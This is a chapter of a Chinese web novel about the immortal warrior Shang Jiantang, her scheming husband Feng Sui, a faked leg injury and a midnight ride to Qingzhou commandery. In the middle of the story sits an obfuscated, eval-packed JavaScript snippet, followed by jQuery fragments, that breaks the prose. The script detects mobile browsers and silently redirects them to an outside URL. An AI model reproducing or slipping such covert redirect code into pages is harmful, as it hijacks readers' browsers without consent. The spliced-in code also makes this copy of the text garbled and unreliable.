“剑棠姐姐,我有事要同你说。”
商剑棠不疑有他的应道。
“说罢。”
她话音刚落,封祟便被身畔的屏风绊了一下,整个人都摔到了商剑棠的身上。
商剑棠下意识的转过身来稳稳地将这个人抱在怀中,揽着他同他摔到地上。
封祟还浸着水的发丝也跟着垂落了下来,商剑棠只觉一滴又一滴的水砸在她的脸上,砸在她的衣裳上,快要将她砸透了。
“封祟!把你的手拿走!”
不到一炷香的时辰,商剑棠就被逼的喊了封祟两次,他倒是不甚在意甚至还有几分乐在其中的意味。
“我若是将手拿走了,那就是脸贴上去了,剑棠姐姐。”
商剑棠沉默了片刻后就一脚踹到了这人的小腿上,她本是想叫这封祟从她的身上滚起来的。
奈何她一脚下去忘了这人身娇体弱,她又一时间没收住力道,只听封祟痛的哀嚎了一声,他眨着一双本就格外摄人心魄的眸子瞧着商剑棠。
他这眼底蕴满了泪水的说道。
“姐姐,你好像把我的腿踹断了。”
若是旁的人能一脚就将别人的腿踹断这简直是危言耸听,但这人若是商剑棠便不同了。
她行军打仗多年身上的力气大得很,在军营同人比试之时将人胳膊拧断都算是常事。
虽说比不上封荷的天生大力,但她也好不到哪里去就是了。
商剑棠也知晓封祟不是在同她玩笑,她略拧着眉扶着这人的腰身抱着他坐起身来,后而便将这人小心地抱了起来走到了床榻前放了下来。
她现下也顾不得这人身上被水浸透的衣裳了,她只顾得上这人身上的伤。
商剑棠就这般撩开了这人的衣衫,逼得封祟往后缩了缩腿。
“躲什么?我看看伤。”
她说罢便紧拧着眉瞧了一眼封祟,后而便拽着他的另一条腿将他拽了过来,撩开衣衫就瞧见了已然有些红肿的小腿。
这肿的地方就是她刚刚踹了的地方。
商剑棠没顾虑太多的戳了一下,封祟便又疼了轻喊了几声。
“姐姐,别戳,疼。”
“抱歉...抱歉。”
商剑棠后知后觉的回过神来收了手道了歉。
封祟轻应了一声道。
“没怪你,只是...我这腿伤的厉害,怕是要姐姐去寻大夫来给我瞧瞧了,亦或者...去寻些银针来也好。”
只是这荒郊野岭的哪儿有银针,哪儿有大夫啊。
他瞧着商剑棠眉眼间的疑虑和担忧便又格外委屈的哀嚎了几声说道。
“如若不然,祟儿这条腿怕是就要废了,剑棠姐姐行行好,给我找些银针罢。”
瞧着封祟这幅可怜委屈的模样,商剑棠便也只能应了他,谁叫这伤是她亲脚踹的?
他们现下在人界用不得仙力,也无仙力护体,若是他这条腿断了,那就是真的断了,纵使是回到仙界也不大好治了。
无论如何,商剑棠都不能弃他于不顾,他既是仙帝同仙后的儿子,也是同她成了亲的夫郎。
她不能眼睁睁的瞧着他变成瘸子。
“好,我去给你寻一些银针来。”
商剑棠说着便拿来了两条巾帕放到了他的手边儿,又将另一侧的衣裳拿了来看着他湿漉漉的模样嘱咐道。
“将头发和身上都擦干净,再换身干爽的衣裳,莫要惹了风寒,生了病,你身子不好,这一病起来会要命的。”
封祟便也顺势握住了商剑棠欲要给他擦一擦头发的手,他将自己的脸贴到了她的手里,就像狸奴那般蹭了蹭她的掌心。
“做什么?”
商剑棠轻飘飘的甩开了这人的脸又拧着眉嘱咐了两句。
“我会早些回来,你头发未干便莫要安寝,免得明儿早起头疼。”
“好,我知晓了,剑棠姐姐。”
“嗯。”
商剑棠也未在这房中久留,她说罢便下了楼先去寻了这儿的老板。
老板还在柜前打着算盘算着账,她一瞧见这位贵客眉眼间便也惹起了几抹笑意的说道。
“哎呦,这位客官是有什么事儿寻我吗?”
“可有银针啊?”
“银针?”
老板虽不解但也思量了片刻,她抿着唇从一旁拿出来了几根被包在布中粗骨针说道。
“可是衣服破了?我这儿没银针,那银针都是富贵人家用的东西,我这儿就只有些骨针,不如女侠同女侠的夫郎凑合凑合,把口子缝上也能穿不是?”
骨针....商剑棠瞧着这快赶上自己小指粗的针深吸一口气笑了一下,她不敢想这骨针若是扎在封祟那细皮嫩肉的腿上,会有多么的好笑。
想必,封祟瞧见这骨针也会格外的惧怕罢。
“罢了,那老板可知晓这附近有没有医馆?药馆?”
“原是夫郎生了病啊,药馆倒是有一家,女侠出门客栈后一路往南便会路过一村子,那村子里有一大夫,他的手中应是会有银针的。”
老板也不是个傻的,她自是听出这位女侠要银针估摸着是要刺穴治病了。
“多谢。”
商剑棠也不白问,她又从荷包里取了一两银子放到了柜台上,后而便出了这客栈。
她将套在马车上的马儿卸了下来,翻身上马一路往南的朝着这老板嘴中的村子寻了过去。
约摸着商剑棠走了大概是有一炷香的时辰了,本住在楼下的陈不语便上了楼推开了房门走了进去。
“仙君。”
他入内时封祟已然没了刚刚那副娇弱的模样,甚至身上的衣裳都已然端端正正的穿在了身上。
“免了,你过来。”
陈不语走上前去,跪在了床榻前等着封祟发号施令。
“将手都伸出来我瞧瞧。”
封祟这是将陈不语同商剑棠刚刚在楼下所说之话尽收耳底,好奇商剑棠到底给他的人下了什么符咒。
陈不语将一双手高高的举了上去,封祟便抓着他的一双手腕将他往自己身前拉了拉的瞧着他掌心里的异样。
最后他寻到了那张被商剑棠赐给陈不语的符咒。
“商剑棠是不是同你说,这符咒是可以叫人忠心不二的符咒?”
封祟瞧罢便松开了手,陈不语跪在屋内后退了些许后垂下头如实回答道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176481|178138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是,仙君。”
他话音刚落便听春生仙君嗤笑一声,他这笑得格外讽刺,讽刺的甚至是有些刺耳。
“这可如何是好啊,咱们的鱼儿起疑了。”
起疑?陈不语不明所以,却也不敢多问。
封祟抬腕瞧着缠绕在手腕上隐隐发亮的红线,感应着那人朝着青州郡赶去的身影便攥紧了手说道。
“商剑棠给你下的根本就不是什么叫人忠心不二的符咒,不过是个点燃符罢了,你不必太过忧心了。”
陈不语不通符咒,那是因为他本就是仙界之人,只是从未在仙界露过面罢了,身上的仙气也被这百年来的凡间气息遮掩的极好。
仙界之人身负仙力怎会用这人间道士所用的符咒啊,这是会令人耻笑的。
而在这人间能当道士,用符咒之人也是佼佼者,说是万里挑一都不为过。
封祟知晓四万年前商剑棠下界之时曾结识了一道士,随着他学了不少,便极通符咒之道。
而他,也是在知晓此事后,在仙界偷偷地学了些,以备今日人界之局的。
可谁知他算来算去,费心的藏着自己的狐狸尾巴,可还是被商剑棠寻到了些许苗头,起了疑心,甚至还旁敲侧击的试探了他。
还真是“姜还是老的辣”啊。
“罢了...罢了,青州郡确是无事的对吧?”
“无事的,仙君还请放心。”
封祟本是想借着沐浴之时出神去青州郡瞧一瞧的,他想着他不去叫人,商剑棠是不会上来的。
奈何他刚运功出了神,还没走多久,这人便上了楼。
他的神识强行归位,现下也有些损伤。
“行了,你也下去罢。”
“是,仙君。”
……
花开两支,各表一头。
封祟同陈不语在客栈所说之话,商剑棠也借着手中的红线尽收耳底,她本想着要去给他寻一大夫来好好瞧一瞧这小腿上的伤的。
奈何这人满心满眼里尽是算计,尽是青州郡。
既如此,她便勒了马儿朝着青州郡奔袭而去,她想知晓那儿到底是有些什么,能让封祟这般上心。
商剑棠知晓她现下纵使是去了青州郡怕也是难以寻到分毫线索的,可她若是不去,明儿携着封祟一同来这儿,怕是更寻不到什么。
她这般想着便驾着马儿穿过凌冽的夜风疾驰了一个多时辰,来到了青州郡外。
现下已是子时一刻,寻常百姓人家早该入睡安寝了,商剑棠本以为这个时辰的青州郡也应格外静谧才是。
可她远远地便隔着那道半开着的城门瞧见了城内的灯火璀璨,这街上尽是走街串巷的百姓。
他们的手中或提着些糕点首饰,或挑着扁担卖着货物,就连城门外也格外的热闹,甚至热闹的有些诡异了。
商剑棠纵使有四万年未下人界了,可这人界的规矩她多少还是知晓一些的。
子时能这般热闹的,这青州郡怕也是独一份儿了。
她骑在马儿上远远地瞧着城门外摆着摊位的卖货郎,瞧着在城门外打牌喝酒的女娘们按耐住心底的疑惑驾着马儿跑上前去。